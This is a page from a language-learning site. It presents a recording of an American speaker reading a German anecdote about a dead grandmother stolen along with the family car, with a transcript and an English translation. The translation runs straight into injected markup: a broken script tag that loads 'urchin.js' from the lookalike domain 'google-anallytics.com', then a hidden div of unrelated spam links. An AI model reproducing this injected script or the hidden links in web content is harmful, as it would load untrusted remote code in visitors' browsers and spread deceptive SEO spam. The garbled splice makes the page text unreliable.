Language sounds
Home > Sounds > Die gestohlene Großmutter, von Unterwegs

‘Die gestohlene Großmutter, von Unterwegs’
Click to listen to Die-gestohlene-Oma.mp3 (550Kb)
Non-native speaker
Accent: American
AuthorSunja
Date: 6/24/2008

Description of what is on the sound file:
German with American accent


Transcript of sound file:
Die ganze Familie samt Oma macht Ferien am Gerdasee. Zwei Tage vor der heimreise stirbt plötzlich die Oma. Aus Angst vor den Formalitäten und den unkosten für eine Überführung beschließt der Rest der Familie, den Tod zu vertuschen. Also verstaut man die Oma, eingewickelt in das Familienzelt, im Kofferraum, um sie auf diesem Wege wieder mit nach Deutschland zu nehmen und dort zu beerdigen. Als man schließlich über die Grenze ist, hält man an der nächsten Rastätte an, um nach all der Anspannung eine Tasse Kaffee zu trinken. Aber als die Familie weiterfahren will, ist der Wagen und mit ihm die tote Oma verschwunden.


Translation:
The whole family along with grandma goes on holiday on Gardasee (lake). Two days before returning home the grandmother suddenly dies. For fear of the formalities and the kosts for transport, the rest of the family decides to hide the death. So they pack grandma in the trunk of the car, wrapped in the family tent, so that they can take her back to Germany and bury her there. As they're over the border, they stop at the next rest stop to drink a cup of coffee after all the stress. But as the family wants to leave the car with along with the grandma is gone.'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>


Upload a sound file (you need to register or login to the forum first)


DHTML Menu By Milonic JavaScript


Copyright 2024 FX Micheloud - All rights reserved
No part of this website may be copied by any means without my written authorization.